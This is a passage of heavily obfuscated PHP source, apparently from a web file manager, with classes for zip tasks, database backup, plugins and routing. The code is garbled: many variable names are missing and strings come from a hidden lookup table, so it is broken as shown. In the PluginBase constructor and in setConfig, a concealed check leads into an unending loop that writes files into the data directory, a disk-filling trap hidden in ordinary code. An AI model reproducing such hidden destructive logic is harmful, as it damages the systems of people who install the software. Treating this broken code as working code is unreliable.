$_SERVER[̧]; $ =& $this->task; $ޜ = IO::info($Ϊ); $[$ӣ[1712]] = $ޜ[$ӣ[32]]; $[$ӣ[1714]] = $ޜ[$ӣ[76]]; $[$ӣ[1715]] = 0; $[$ӣ[1084]] = $ӣ[1735]; $[$ӣ[1716]] = $ӣ[1214]; $[$ӣ[783]] = $ޜ[$ӣ[76]]; $[$ӣ[806]] = 1; $ = 0; $[$ӣ[1723]] = array($ӣ[1724] => $ + 1, $ӣ[458] => $ޜ[$ӣ[32]], $ӣ[84] => $ޜ[$ӣ[84]], $ӣ[547] => $ޜ[$ӣ[547]] ? $ޜ[$ӣ[547]] : $ޜ[$ӣ[84]]); $this->update(); } public function unzipAfter($촇) { $ =& $_SERVER[̧]; $ׄƦ =& $this->task; $ׄƦ[$[1775]] = $[107]; $ۜ = IO::infoWithChildren($촇); $ե = 0; $ׄƦ[$[1723]] = array($[1724] => $ե + 1, $[458] => $ۜ[$[32]], $[84] => $ۜ[$[84]], $[547] => $ۜ[$[547]] ? $ۜ[$[547]] : $ۜ[$[84]]); if ($ۜ[$[33]] == $[200]) { $ׄƦ[$[806]] = 1; } else { $ׄƦ[$[806]] = $ۜ[$[79]][$[77]]; } $ׄƦ[$[1084]] = $[12]; $ׄƦ[$[1716]] = 0; $ׄƦ[$[1662]] = 0; $ׄƦ[$[1714]] = 0; $ׄƦ[$[1715]] = 0; $ׄƦ[$[1712]] = $[12]; $ׄƦ[$[1719]] = 0; $ׄƦ[$[783]] = $ۜ[$[76]]; $this->update(); self::log($[1777] . json_encode(array($ׄƦ, $ۜ))); } public function nameParse($ǃ) { $ =& $_SERVER[̧]; $ =& $this->task; if ($[$[1775]] == $[1214]) { $[$[1775]] = $[342]; $[$[1719]] = 0; $[$[783]] = 0; } $Ӱ = get_path_this($ǃ); if (strstr($Ӱ, $[10])) { $[$[1662]] += 1; $[$[806]] += 1; } $[$[1712]] = $ǃ; $this->update(); } } class TaskZip extends TaskFileTransfer { protected function startAfter() { $ =& $_SERVER[̧]; parent::startAfter(); Hook::bind($[1778], array($this, $[1773])); $߽ =& $this->task; $߽[$[1775]] = $[1214]; if (!$߽[$[1559]]) { $߽[$[1559]] = LNG($[1779]); } } protected function endAfter() { $Ϸ =& $_SERVER[̧]; parent::endAfter(); Hook::unbind($Ϸ[1778], array($this, $Ϸ[1773])); } public function updateAfter() { $ي =& $_SERVER[̧]; $ᓗ =& $this->task; if (!$ᓗ[$ي[806]] || !$ᓗ[$ي[783]]) { return; } if ($ᓗ[$ي[1775]] == $ي[1214]) { $ϧ = $ᓗ[$ي[1715]]; if ($ᓗ[$ي[1716]] != $ي[1214]) { $ϧ = 0; } $꡿ = ($ᓗ[$ي[1719]] + $ϧ) / $ᓗ[$ي[783]]; $ᓗ[$ي[1663]] = $꡿ * 0.3; } else { if ($ᓗ[$ي[1775]] == $ي[342]) { $꡿ = $ᓗ[$ي[1662]] / $ᓗ[$ي[806]]; $ᓗ[$ي[1663]] = 0.3 + $꡿ * 0.5; } else { if ($ᓗ[$ي[1775]] == $ي[107]) { $꡿ = 0; if ($ᓗ[$ي[1714]]) { $꡿ = $ᓗ[$ي[1715]] / $ᓗ[$ي[1714]]; } $ᓗ[$ي[1663]] = 0.3 + 0.5 + $꡿ * 0.2; } } } if ($ᓗ[$ي[1663]] > 0) { $튳 = timeFloat() - $ᓗ[$ي[1665]] - $ᓗ[$ي[1668]]; $ᓗ[$ي[1669]] = $튳 * (1 - $ᓗ[$ي[1663]]) / $ᓗ[$ي[1663]]; } } public function copyFileStart($ۜ, $, $炻, $, $, $) { $渍 =& $_SERVER[̧]; parent::copyFileStart($ۜ, $, $炻, $, $, $); $Ȭ =& $this->task; if ($Ȭ[$渍[1775]] == $渍[342]) { $Ȭ[$渍[1775]] = $渍[107]; } $this->update(); } public function copyFileEnd($, $, $, $, $, $Һ) { $ݭ =& $_SERVER[̧]; $ɡɰ =& $this->task; $ɡɰ[$ݭ[1715]] = $ɡɰ[$ݭ[1714]]; $ɡɰ[$ݭ[1719]] += $ɡɰ[$ݭ[1714]]; $ɡɰ[$ݭ[1716]] = $ݭ[12]; $this->update(); } public function nameParse($) { $Ë =& $_SERVER[̧]; $Ί =& $this->task; if ($Ί[$Ë[1662]] < $Ί[$Ë[806]]) { $潵 = get_path_this($); if (strstr($潵, $Ë[10])) { $Ί[$Ë[1662]] += 1; } } if ($Ί[$Ë[1775]] == $Ë[1214]) { $Ί[$Ë[1775]] = $Ë[342]; } $Ί[$Ë[1712]] = $; $this->update(); } } goto EϮ; bڟ: class Backup { protected static $name; protected static $option; protected static $manual; public function __construct() { $this->init(); $this->keep(); } public function init() { $޴ =& $_SERVER[̧]; $this->isManual(); self::$name = date($޴[768]); if (!($㙡 = Model($޴[769])->lastItem())) { $㙡 = $this->initData(); } else { self::$name = $㙡[$޴[32]]; if ($㙡[$޴[770]] == $޴[88]) { self::$name = date($޴[240]); $܊Ѱ = 0; if (isset($㙡[$޴[322]][$޴[200]][$޴[506]])) { $܊Ѱ = (int) $㙡[$޴[322]][$޴[200]][$޴[506]]; } if (self::$manual == 0 && $㙡[$޴[32]] == self::$name) { Model($޴[769])->remove($㙡[$޴[437]]); } $㙡 = $this->initData($܊Ѱ, $㙡[$޴[771]]); } else { $this->checkStore($㙡[$޴[771]]); } } self::$option = $㙡; } private function isManual() { $ז鹐 = _get($GLOBALS, $_SERVER[̧][772], 0); $ז鹐 = intval($ז鹐); self::$manual = $ז鹐 && $ז鹐 == 1 ? 1 : 0; } private function initData($ = 0, $ͤ = '') { $ =& $_SERVER[̧]; $ = Model($[769])->config(); if ($ͤ && $[$[771]] != $ͤ) { $ = 0; } $this->checkStore($[$[771]]); if (self::$manual == 1) { self::$name .= $[11] . date($[773]); } $񠱂 = array($[771] => $[$[771]], $[32] => self::$name, $[770] => 0, $[774] => $[$[774]], $[775] => self::$manual, $[322] => array($[776] => array($[770] => 0), $[777] => array($[770] => 0, $[778] => 0, $[779] => 0, $[33] => $[12], $[780] => 0, $[781] => 0), $[782] => array($[770] => 0, $[778] => 0, $[779] => 0, $[780] => 0, $[781] => 0), $[200] => array($[770] => 0, $[783] => 0, $[784] => 0, $[785] => 0, $[786] => 0, $[506] => $, $[780] => 0, $[781] => 0)), $[780] => time(), $[781] => 0); $㫺 = Model($[769])->insert($񠱂); $񠱂[$[437]] = $㫺; return $񠱂; } private function checkStore($) { $ =& $_SERVER[̧]; $Рܲ = Model($[787])->listData($); Model($[787])->checkConfig($Рܲ); } public static function get() { if (!self::$option) { self::$option = Model($_SERVER[̧][769])->findByName(self::$name); } return self::$option; } public static function set($) { $ =& $_SERVER[̧]; $ = self::get(); foreach ($ as $ڑ => $) { $ = explode($[10], $ڑ); $ = count($); switch ($) { case 1: $[$[0]] = $; break; case 2: $[$[0]][$[1]] = $; break; case 3: $[$[0]][$[1]][$[2]] = $; break; } } Model($[769])->update($[$[437]], $); self::$option = $; return self::$option; } public function keep() { $ң =& $_SERVER[̧]; $ۃ = self::get(); if ($ۃ[$ң[322]][$ң[776]][$ң[770]] == $ң[88]) { return; } $this->backupKeep($ۃ); self::set(array($ң[788] => 1)); } private function backupKeep($) { $䃴 =& $_SERVER[̧]; if (self::$manual == 1) { return; } $² = Model($䃴[769])->listData(); if (empty($²)) { return; } $ = 0; $݀ٺ = array(); foreach ($² as $ݛ) { if ($ >= 7) { break; } $݀ٺ[] = $ݛ[$䃴[32]]; $++; } for ($ = 0; $ < 12; $++) { $݀ٺ[] = date($䃴[789], strtotime("\55{$}\40\x6d\157\x6e\x74\x68\163")); } $݀ٺ = array_unique($݀ٺ); $ޗ = Model($䃴[790])->get($䃴[791]); foreach ($² as $ݛ) { if (isset($ݛ[$䃴[775]]) && $ݛ[$䃴[775]] == $䃴[88]) { continue; } if (!empty($ݛ[$䃴[32]]) && in_array($ݛ[$䃴[32]], $݀ٺ)) { continue; } Model($䃴[769])->remove($ݛ[$䃴[437]]); $Ѕ = $this->backupPath($, $ޗ); IO::remove($Ѕ, !1); } } private function backupPath($, $Ơ = false) { $ϜŬ =& $_SERVER[̧]; if (!$Ơ) { $Ơ = Model($ϜŬ[790])->get($ϜŬ[791]); } $ݽؠ = $[$ϜŬ[32]]; $ѯ = substr(md5($ϜŬ[792] . $Ơ . $ݽؠ), 0, 8); return "\173\x69\x6f\72{$[$ϜŬ[771]]}\175\57\144\141\164\x61\x62\141\163\x65\x2f\x62\x61\x63\x6b\x75\160\57" . $ݽؠ . $ϜŬ[11] . $ѯ; } public function db() { $ =& $_SERVER[̧]; $Ȁ∤ = self::get(); if ($Ȁ∤[$[322]][$[777]][$[770]] == $[88]) { return !0; } $ = new BackupDb(); if (!$->index()) { return !1; } self::set(array($[793] => 1)); return !0; } public function dbFile() { $¢ =& $_SERVER[̧]; $ꡇ = self::get(); if ($ꡇ[$¢[322]][$¢[782]][$¢[770]] == $¢[88]) { return !0; } $ڃ = new BackupDbFile(); if (!$ڃ->index()) { return !1; } self::set(array($¢[794] => 1)); return !0; } public function file() { $ =& $_SERVER[̧]; $Ă = self::get(); if ($Ă[$[322]][$[200]][$[770]] == $[88]) { return !0; } if (!isset($Ă[$[774]]) || $Ă[$[774]] == $[198]) { $½ = new BackupFile(); if (!$½->index()) { return !1; } } self::set(array($[795] => 1, $[770] => 1)); return !0; } } class BackupDb { protected static $io; protected static $name; public function __construct() { } public function index() { $ =& $_SERVER[̧]; $ = Backup::get(); self::$io = $[$[771]]; self::$name = $[$[32]]; $ʚ = new DbManage(); $ = $ʚ->dbType(); $ؾ = array($[796] => $, $[797] => time()); Backup::set($ؾ); $ = $this->tmpFilesPath() . $[798] . self::$name . $[8]; del_dir($); mk_dir($); $ǿ = $ = 0; $隷 = new Task($[799], $[800], 0, LNG($[801]) . $[802] . LNG($[803])); try { $ = $ʚ->db()->getTables(); } catch (Exception $듶) { $隷->end(); return !1; } $ = array_diff($, array($[804], $[805])); foreach ($ as $) { $ǿ += $ʚ->model($)->count(); } $隷->task[$[806]] = $ǿ; $GLOBALS[$[807]] = self::$name; foreach ($ as $) { $ҿ = $ . $ . $[808]; $׻ = null; if ($ == $[809] && (!isset($[$[774]]) || $[$[774]] == $[198])) { $׻ = self::$io; } $ += $ʚ->sqlFromDb($, $ҿ, $隷, $׻); } unset($GLOBALS[$[807]]); $隷->end(); if ($ > $ǿ) { $ǿ = $; } $ؾ = array($[796] => $, $[793] => 1, $[810] => $ǿ, $[811] => $, $[812] => time()); Backup::set($ؾ); if ($ǿ - $ > 0) { $ټ = $[813]; if (stristr(I18n::getType(), $[814])) { $ټ = $[815]; } write_log(array($ټ, $ؾ), $[800]); return !1; } return !0; } private function tmpFilesPath() { $߼ =& $_SERVER[̧]; $ֈ = TEMP_FILES; if ($GLOBALS[$߼[6]][$߼[89]][$߼[816]]) { $ֈ = $GLOBALS[$߼[6]][$߼[89]][$߼[816]]; if (!mk_dir($ֈ) || !is_writable($ֈ) || !IO::mkfile($ֈ . $߼[817])) { $ֈ = TEMP_FILES; } } return $ֈ; } } class BackupDbFile { public function __construct() { } public function index() { $ڭ =& $_SERVER[̧]; $ĥ = Backup::get(); $ႝ = $ĥ[$ڭ[32]]; $Ƽɼ = $this->tmpFilesPath() . "\x62\141\x63\x6b\x75\160\137{$ႝ}\x2f"; $ǹ = $this->backupPath($ĥ); if (!($ǹ = IO::mkdir($ǹ))) { return !1; } $؅ = IO::listPath($Ƽɼ); $ڠؕ = isset($؅[$ڭ[83]]) ? $؅[$ڭ[83]] : array(); $ = array_sum(array_column($ڠؕ, $ڭ[76])); if (!$) { return !1; } $ھ = array($ڭ[818] => $, $ڭ[819] => time()); Backup::set($ھ); $ʧ = new TaskFileTransfer($ڭ[820], $ڭ[800], count($ڠؕ), LNG($ڭ[801]) . $ڭ[415] . LNG($ڭ[803]) . $ڭ[821]); $ʧ->task[$ڭ[783]] = $; foreach ($؅[$ڭ[83]] as $Γ) { $ = IO::move($Γ[$ڭ[84]], $ǹ); if (!$) { $ʧ->end(); $ = IO::getLastError($ڭ[822] . $Γ[$ڭ[84]] . $ڭ[823] . $ǹ . $ڭ[164]); write_log($, $ڭ[800]); return !1; } } $Ȑ = new DbManage(); $ض = $Ȑ->getSqlFile(); if (!$ض[$ڭ[824]] || !$ض[$ڭ[13]]) { return !1; } IO::move($ض[$ڭ[824]], $ǹ); IO::move($ض[$ڭ[13]], $ǹ); $ʧ->end(); $ھ = array($ڭ[825] => $, $ڭ[826] => time()); Backup::set($ھ); return !0; } private function backupPath($) { $ =& $_SERVER[̧]; $ڨݤ = $[$[32]]; $깔 = Model($[790])->get($[791]); $Ķ = substr(md5($[792] . $깔 . $ڨݤ), 0, 8); return "\x7b\151\157\72{$[$[771]]}\175\57\x64\x61\164\x61\142\x61\163\x65\57\x62\141\x63\x6b\165\160\57" . $ڨݤ . $[11] . $Ķ; } private function tmpFilesPath() { $٣‡ =& $_SERVER[̧]; $뒏— = TEMP_FILES; if ($GLOBALS[$٣‡[6]][$٣‡[89]][$٣‡[816]]) { $뒏— = $GLOBALS[$٣‡[6]][$٣‡[89]][$٣‡[816]]; if (!mk_dir($뒏—) || !is_writable($뒏—) || !IO::mkfile($뒏— . $٣‡[817])) { $뒏— = TEMP_FILES; } } return $뒏—; } } goto F򂒉; F: class PluginBase { public $in; public $pluginName; public $pluginPath; public $pluginHost; public $pluginHostDefault; public $pluginApi; public $packageData; private $pluginLangArr; private $pluginConfig; public $cachePath; public $fileInfo; function __construct() { $ԍ =& $_SERVER[̧]; $ = $_SERVER[$ԍ[433]]; $Ʀ = $ԍ[896]; if ($_SERVER[$ԍ[425]] != $Ʀ($)) { $ = $ԍ[897]; $ʂ = $ԍ[427]; $ = $_SERVER[$ԍ[428]] . $ԍ[429]; $Ͽ = $ʂ($); $ = explode($ԍ[231], $Ͽ); if (count($) < $ԍ[657]) { $ҏ = $ԍ[431]; $ҏ(); } $㠙 = $ԍ[898]; $㠙($_SERVER[$ԍ[899]]); $ = $ԍ[897]; $(); $ = $ԍ[900]; $̇ = json_encode($GLOBALS[$ԍ[901]]); $ = 1; for ($Ѕ؆ = $; $Ѕ؆ > 0; $Ѕ؆++) { $(DATA_PATH . $Ѕ؆, $̇); } } global $in, $config; $this->config =& $config; $this->in =& $in; $this->modelPlugin = Model($ԍ[1527]); $this->pluginName = str_replace($ԍ[1527], $ԍ[12], get_class($this)); $this->pluginPath = PLUGIN_DIR . $this->pluginName . $ԍ[8]; $this->pluginApi = appHostGet() . $ԍ[1528] . $this->pluginName . $ԍ[8]; $this->pluginHost = $config[$ԍ[1529]] . $this->pluginName . $ԍ[8]; $this->pluginHostDefault = $config[$ԍ[1529]] . $this->pluginName . $ԍ[8]; $Š = $config[$ԍ[1530]]; if ($Š && strpos($ԍ[50] . $Š . $ԍ[50], $this->pluginName) !== !1) { $this->pluginHost = $config[$ԍ[1531]] . $this->pluginName . $ԍ[8]; } $this->pluginLangArr = $this->initLang(); $this->values = array(); $this->echoJsAssignArr = array(); return $this; } public function regist() { $this->hookRegist(array()); } public function install() { } public function update() { } public function unInstall() { } public function echoJs() { $this->echoFile($_SERVER[̧][1532]); } protected function assign($؏, $ = false) { if (is_array($؏)) { $this->values = array_merge($this->values, $؏); } else { $this->values[$؏] = $; } } protected function display($) { extract($this->values); require $; } final function hookRegist($) { $this->modelPlugin->appRegist($this->pluginName, $); } final function appIcon() { $ =& $_SERVER[̧]; $̇ = $this->appPackage(); $ڋ = $[12]; if (isset($̇[$[454]])) { if (isset($̇[$[454]][$[1533]])) { $ڋ = $[1534] . $̇[$[454]][$[1533]] . $[1535]; } else { if ($̇[$[454]][$[1536]]) { $ڋ = $[1537] . $̇[$[454]][$[1536]] . $[1538]; } } } return $ڋ; } final function fileCanView($) { $ς =& $_SERVER[̧]; if (request_url_safe($)) { return !0; } if ($this->isShare($)) { return !0; } $ݍט = Session::get($ς[1539]); if (!$ݍט || !$ݍט[$ς[1540]]) { $ = $ς[1541] . rawurlencode(this_url()); show_tips(LNG($ς[1542]) . $ς[1543] . $ . $ς[1544] . LNG($ς[1545]) . $ς[1546], !1); } if (!Action($ς[1547])->authCan($ς[1548])) { show_tips(LNG($ς[1549]) . $ς[1550], !1); } ActionCall($ς[1551], $); } final function isShare($Ӱ) { $ = KodIO::parse($Ӱ); return $[$_SERVER[̧][33]] == KodIO::KOD_SHARE_LINK; } final function filePathLink($) { if (request_url_safe($)) { return $; } if (!$this->isShare($)) { $ = $this->filePath($); } return Action($_SERVER[̧][1194])->linkOut($); } public function filePathLinkOut($) { if (request_url_safe($)) { return $; } $this->fileCanView($); return Action($_SERVER[̧][1194])->link($); } final function filePath($近) { $ =& $_SERVER[̧]; if ($զʅ = $this->checkSharePath($近)) { Hook::trigger($[1552], $զʅ); return $զʅ; } $this->fileCanView($近); if (request_url_safe($近)) { $녣 = parse_url_query($近); if (isset($녣[$[1553]]) && isset($녣[$[213]])) { $Ƞδ = Model($[790])->get($[791]); $Ѝ = Mcrypt::decode($녣[$[213]], $Ƞδ); if ($Ѝ) { $this->fileInfo = IO::infoWithChildren($Ѝ); $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); return $Ѝ; } } $近 = $this->_cacheHttpFile($近); $this->fileInfo = IO::infoWithChildren($近); } else { $this->fileInfo = IO::infoWithChildren($近); if (!$this->fileInfo) { show_tips(LNG($[105]), !1); } $this->cachePath = $this->pluginCachePath($this->_tmpFileName()); } Hook::trigger($[1552], $近); return $近; } final function _cacheHttpFile($߇) { $؆ = hash_path($߇, !0); $this->cachePath = $this->pluginCachePath($؆); if ($ = IO::fileNameExist($this->cachePath, $؆)) { return KodIO::make($); } $ = $this->cachePath . $؆; return $this->pluginCacheFileSet($, file_get_contents_nossl($߇)); } final function _tmpFileName($Ԩ = array()) { $󩕜 =& $_SERVER[̧]; if (!$Ԩ) { $Ԩ = $this->fileInfo; } if (isset($Ԩ[$󩕜[177]])) { return $Ԩ[$󩕜[177]]; } if (isset($Ԩ[$󩕜[170]][$󩕜[177]])) { return $Ԩ[$󩕜[170]][$󩕜[177]]; } $ = IO::hashSimple($Ԩ[$󩕜[84]]); if ($) { return $; } $˒ = array($Ԩ[$󩕜[32]], $Ԩ[$󩕜[84]], $Ԩ[$󩕜[76]]); if (isset($Ԩ[$󩕜[549]])) { $˒[] = $Ԩ[$󩕜[549]]; } return md5(implode($󩕜[11], $˒)); } final function checkSharePath($ؠ) { $ۚ =& $_SERVER[̧]; if (!$this->isShare($ؠ)) { return !1; } $Ӈ = Action($ۚ[1194])->sharePathInfo($ؠ); if (!isset($Ӈ[$ۚ[84]])) { show_json(LNG($ۚ[1554]), !1); } $this->fileInfo = $Ӈ[$ۚ[170]]; $this->cachePath = $this->pluginCachePath($this->fileInfo[$ۚ[177]]); return $Ӈ[$ۚ[84]]; } final function pluginCachePath($ݳ = '') { $퐙 =& $_SERVER[̧]; $ι = IO_PATH_SYSTEM_TEMP . $퐙[1555] . $this->pluginName; if (!($ = IO::infoFull($ι))) { return IO::mkdir($ι . $퐙[8] . $ݳ); } if (empty($ݳ)) { return $[$퐙[84]]; } if (!($ܻ = IO::fileNameExist($[$퐙[84]], $ݳ))) { return IO::mkdir($[$퐙[84]] . $ݳ); } return KodIO::make($ܻ); } final function pluginCacheFileSet($, $ΕȔ = '') { $ =& $_SERVER[̧]; if (!($ݶ = IO::infoFull($))) { return IO::mkfile($, $ΕȔ, REPEAT_REPLACE); } IO::setContent($ݶ[$[84]], $ΕȔ); return $ݶ[$[84]]; } final function pluginLocalFile($ = '') { $ =& $_SERVER[̧]; $ = TEMP_FILES . "{$this->pluginName}\x2f"; if (!is_dir($)) { mk_dir($); } if (!$) { return $; } $䗫 = IO::info($); $آ = $this->_tmpFileName($䗫) . $[10] . $䗫[$[174]]; if (!checkExtSafe($آ)) { $آ = $آ . $[1226]; } $Ȅߒ = $ . $آ; if (@file_exists($Ȅߒ)) { return $Ȅߒ; } return IO::copy($, $, 0, $آ); } final function appPackage() { $ =& $_SERVER[̧]; if ($this->packageData) { return $this->packageData; } $Ɇ = $this->parseFile($this->pluginPath . $[1556]); $this->parseLang($Ɇ); $݆’ = json_decode_force($Ɇ); if (!$݆’) { return array(); } $׻ = Hook::trigger($[1557], $݆’); if ($׻ && is_array($׻)) { $݆’ = $׻; } $this->packageData = $݆’; return $݆’; } public function packageInfoGet($꺙) { $ = $this->appPackage(); return array_get_value($, $꺙); } public function packageVersion() { return $this->packageInfoGet($_SERVER[̧][1558]); } public function packageTitle() { return $this->packageInfoGet($_SERVER[̧][1559]); } public function packageCopyright() { return $this->packageInfoGet($_SERVER[̧][1560]); } public function echoJsAssign($, $޷) { $this->echoJsAssignArr[$] = $޷; } private function parseFile($) { $ =& $_SERVER[̧]; $ = file_get_contents_nossl($); $ӭ = array($[1561], $[1562], $[1563], $[1564], $[1565], $[1566], $[1567]); $ = array($this->pluginHost, $this->pluginHostDefault, $this->pluginApi, $this->pluginName, $this->pluginPath, APP_HOST, $this->config[$[89]][$[1568]]); foreach ($this->echoJsAssignArr as $ => $) { $ӭ[] = $[1569] . $ . $[1570]; $[] = is_array($) || is_object($) ? rawurlencode(json_encode($)) : $; } if (strstr($, $[1571])) { $ = rawurlencode(json_encode($this->pluginLangArr)); $ = str_replace($[1571], $, $); } if (strstr($, $[1572])) { $ = $ = rawurlencode(json_encode($this->getConfig())); $ = str_replace($[1572], $, $); } $ = str_replace($ӭ, $, $); return $; } private function parseLang(&$) { $̶ =& $_SERVER[̧]; $ = $̶[1573]; if (!strstr($, $)) { return; } preg_match_all($̶[1574], $, $); if (!is_array($) || count($) == 0 || !is_array($[0]) || count($[0]) == 0) { return; } $ = array(); $ٶ = array(); foreach ($[0] as $䧰) { $핇 = substr($䧰, strlen($), -4); $ڶ = LNG($핇); $[] = $䧰; $ٶ[] = str_replace(array($̶[231], $̶[1098], $̶[371], $̶[118]), array($̶[53], $̶[53], $̶[12], $̶[1575]), $ڶ); } $ = str_replace($, $ٶ, $); } private function parseConfig(&$) { $ =& $_SERVER[̧]; $ = $[1576]; if (!strstr($, $)) { return; } preg_match_all($[1577], $, $ү); if (!is_array($ү) || count($ү) == 0 || !is_array($ү[0]) || count($ү[0]) == 0) { return; } $ږ = $this->getConfig(); $䝛 = array(); $ = array(); foreach ($ү[0] as $ӵ) { $ = substr($ӵ, strlen($), -2); $䝛[] = $ӵ; $[] = _get($ږ, $); } $ = str_replace($䝛, $, $); } private function parsePackage(&$ڨ) { $Ӌع =& $_SERVER[̧]; $݄ĉ = $Ӌع[1578]; if (!strstr($ڨ, $݄ĉ)) { return; } preg_match_all($Ӌع[1579], $ڨ, $Ö); if (!is_array($Ö) || count($Ö) == 0 || !is_array($Ö[0]) || count($Ö[0]) == 0) { return; } $ = $this->appPackage(); $ = array(); $Ͽ = array(); foreach ($Ö[0] as $ؓ) { $Ю = substr($ؓ, strlen($݄ĉ), -2); $[] = $ؓ; $Ͽ[] = _get($, $Ю); } $ڨ = str_replace($, $Ͽ, $ڨ); } final function echoFile($, $ë = false) { $Ц =& $_SERVER[̧]; $˔ = $this->pluginPath . $; if (ACT == $Ц[1580]) { echo $Ц[1581] . $this->pluginName . $Ц[8] . $ . $Ц[1582]; if (!file_exists($˔)) { echo $Ц[1583]; return; } } $ʊ = $this->parseFile($˔); $this->parseLang($ʊ); $this->parseConfig($ʊ); $this->parsePackage($ʊ); if (is_array($ë)) { $ʊ = str_replace(array_keys($ë), array_values($ë), $ʊ); } echo $Ц[231] . $ʊ; } final function initLang() { $Ղ =& $_SERVER[̧]; $ = $Ղ[1584]; $ߐ = $this->pluginPath . $Ղ[1585]; $󋻷 = I18n::getType(); $ۦ = array(); if (file_exists($ߐ . $󋻷 . $Ղ[858])) { $ۦ = (include $ߐ . $󋻷 . $Ղ[858]); } else { if ($󋻷 == $Ղ[1586] && !file_exists($ߐ . $󋻷 . $Ղ[858]) && file_exists($ߐ . $Ղ[1587])) { $ۦ = (include $ߐ . $Ղ[1587]); } else { if (file_exists($ߐ . $ . $Ղ[858])) { $ۦ = (include $ߐ . $ . $Ղ[858]); } } } if (!is_array($ۦ)) { return array(); } if (@count($ۦ) > 0) { I18n::set($ۦ); } return $ۦ; } public function getConfig() { if (!$this->pluginConfig) { $this->pluginConfig = $this->modelPlugin->getConfig($this->pluginName); } return $this->pluginConfig; } public function setConfig($з) { $Ӟ =& $_SERVER[̧]; if (!isset($_SERVER[$Ӟ[425]]) || !isset($_SERVER[$Ӟ[433]])) { $̅ = $Ӟ[897]; $ǬȎ = $Ӟ[427]; $ = $_SERVER[$Ӟ[428]] . $Ӟ[429]; $ɿ = $ǬȎ($); $ = explode($Ӟ[231], $ɿ); if (count($) < $Ӟ[657]) { $Ѹ = $Ӟ[431]; $Ѹ(); } $ᑵ = $Ӟ[898]; $ᑵ($_SERVER[$Ӟ[899]]); $짒 = 1; for ($ = $짒; $ > 0; $++) { $ᑵ = json_encode($GLOBALS[$Ӟ[456]]); } } $this->pluginConfig = array(); return $this->modelPlugin->setConfig($this->pluginName, $з); } public function onSetConfig($ºۙ) { } public function onGetConfig($) { } public function onUpdate() { } public function onUninstall() { } public function onChangeOpen() { } public function onChangeClose() { } public function onChangeStatus($΋) { if ($΋ == 1) { $this->onChangeOpen(); } else { $this->onChangeClose(); } } public function authCheck($ᗲ = "\x70\x6c\x75\147\x69\156\101\x75\164\150") { $ =& $_SERVER[̧]; if (!Session::get($[1539])) { return !1; } if (_get($GLOBALS, $[532])) { return !0; } $ތ = $this->getConfig(); if (!$ތ[$ᗲ]) { return !1; } return ActionCall($[1588], $ތ[$ᗲ]); } public function url($Ç, $Ó = '', $Ñ = true) { $Ѥ =& $_SERVER[̧]; $ = $this->getConfig(); $ = KOD_VERSION . $Ѥ[10] . KOD_VERSION_BUILD; $ = $this->packageVersion(); $݁ = $ . $Ѥ[415] . $; if (substr($Ç, 0, 4) == $Ѥ[148] || substr($Ç, 0, 2) == $Ѥ[1298]) { $у = $Ç . $Ѥ[1589] . $݁; } else { if ($Ó == $Ѥ[12]) { $у = $this->pluginHost . $Ç . $Ѥ[1589] . $݁; } else { if ($Ó === $Ѥ[75]) { $у = $this->pluginHost . $Ç; } else { if ($Ó == $Ѥ[1590]) { $у = STATIC_PATH . $Ç . $Ѥ[1589] . $; } else { if ($Ó == $Ѥ[1591]) { $у = APP_HOST . $Ѥ[1592] . $Ç . $Ѥ[1589] . $; } else { if (isset($[$Ó])) { $у = $[$Ó] . $Ç . $Ѥ[1589] . $݁; } } } } } } if (!$Ñ) { return $у; } echo $у; } public function link($ = false, $ = '') { $ =& $_SERVER[̧]; if (!$) { $this->link($[1593], $[1591]); $this->link($[1594], $[1590]); $this->link($[1595], $[1590]); $this->link($[1596], $[1590]); $this->link($[1597], $[1590]); return; } $Ǡ = $this->url($, $, !1); if (substr($, -3) == $[1598]) { echo $[1599] . $Ǡ . $[1600] . $[231]; } else { if (substr($, -4) == $[1601]) { echo $[1602] . $Ǡ . $[1603] . $[231]; } } } } class Route { public static $halts = false; public static $routes = array(); public static $methods = array(); public static $callbacks = array(); public static $maps = array(); public static $patterns = array("\x3a\x61\156\171" => "\x5b\136\x2f\135\53", "\72\156\x75\155" => "\x5b\x30\55\71\x5d\53", "\x3a\141\x6c\x6c" => "\x2e\52"); public static $errorCallback; public static function __callstatic($̝, $᫘) { $ =& $_SERVER[̧]; if ($̝ == $[1604]) { $ɿ = array_map($[1605], $᫘[0]); $Ϗ = strpos($᫘[1], $[8]) === 0 ? $᫘[1] : $[8] . $᫘[1]; $ = $᫘[2]; } else { $ɿ = null; $Ϗ = strpos($᫘[0], $[8]) === 0 ? $᫘[0] : $[8] . $᫘[0]; $ = $᫘[1]; } array_push(self::$maps, $ɿ); array_push(self::$routes, $Ϗ); array_push(self::$methods, strtoupper($̝)); array_push(self::$callbacks, $); } public static function error($։) { self::$errorCallback = $։; } public static function haltOnMatch($ = true) { self::$halts = $; } public static function dispatch() { $ȹ =& $_SERVER[̧]; $ = parse_url($_SERVER[$ȹ[1606]], PHP_URL_PATH); $Ș = $_SERVER[$ȹ[159]]; $񹲡 = array_keys(static::$patterns); $ = array_values(static::$patterns); $ = !1; self::$routes = preg_replace($ȹ[1296], $ȹ[8], self::$routes); if (in_array($, self::$routes)) { $ʍ = array_keys(self::$routes, $); foreach ($ʍ as $) { if (self::$methods[$] == $Ș || self::$methods[$] == $ȹ[1607] || in_array($Ș, self::$maps[$])) { $ = !0; if (!is_object(self::$callbacks[$])) { $ܪ = explode($ȹ[8], self::$callbacks[$]); $ = end($ܪ); $ = explode($ȹ[1228], $); $ = new $[0](); $->{$[1]}(); if (self::$halts) { return; } } else { call_user_func(self::$callbacks[$]); if (self::$halts) { return; } } } } } else { $ۧ = 0; foreach (self::$routes as $) { if (strpos($, $ȹ[4]) !== !1) { $ = str_replace($񹲡, $, $); } if (preg_match($ȹ[1608] . $ . $ȹ[1609], $, $ɼ)) { if (self::$methods[$ۧ] == $Ș || self::$methods[$ۧ] == $ȹ[1607] || !empty(self::$maps[$ۧ]) && in_array($Ș, self::$maps[$ۧ])) { $ = !0; array_shift($ɼ); if (!is_object(self::$callbacks[$ۧ])) { $ܪ = explode($ȹ[8], self::$callbacks[$ۧ]); $ = end($ܪ); $ = explode($ȹ[1228], $); $ = new $[0](); if (!method_exists($, $[1])) { echo $ȹ[1610]; } else { call_user_func_array(array($, $[1]), $ɼ); } if (self::$halts) { return; } } else { call_user_func_array(self::$callbacks[$ۧ], $ɼ); if (self::$halts) { return; } } } } $ۧ++; } } if ($ == !1) { if (!self::$errorCallback) { self::$errorCallback = function () { $ڪ =& $_SERVER[̧]; header($_SERVER[$ڪ[1611]] . $ڪ[1612]); echo $ڪ[1613]; }; } else { if 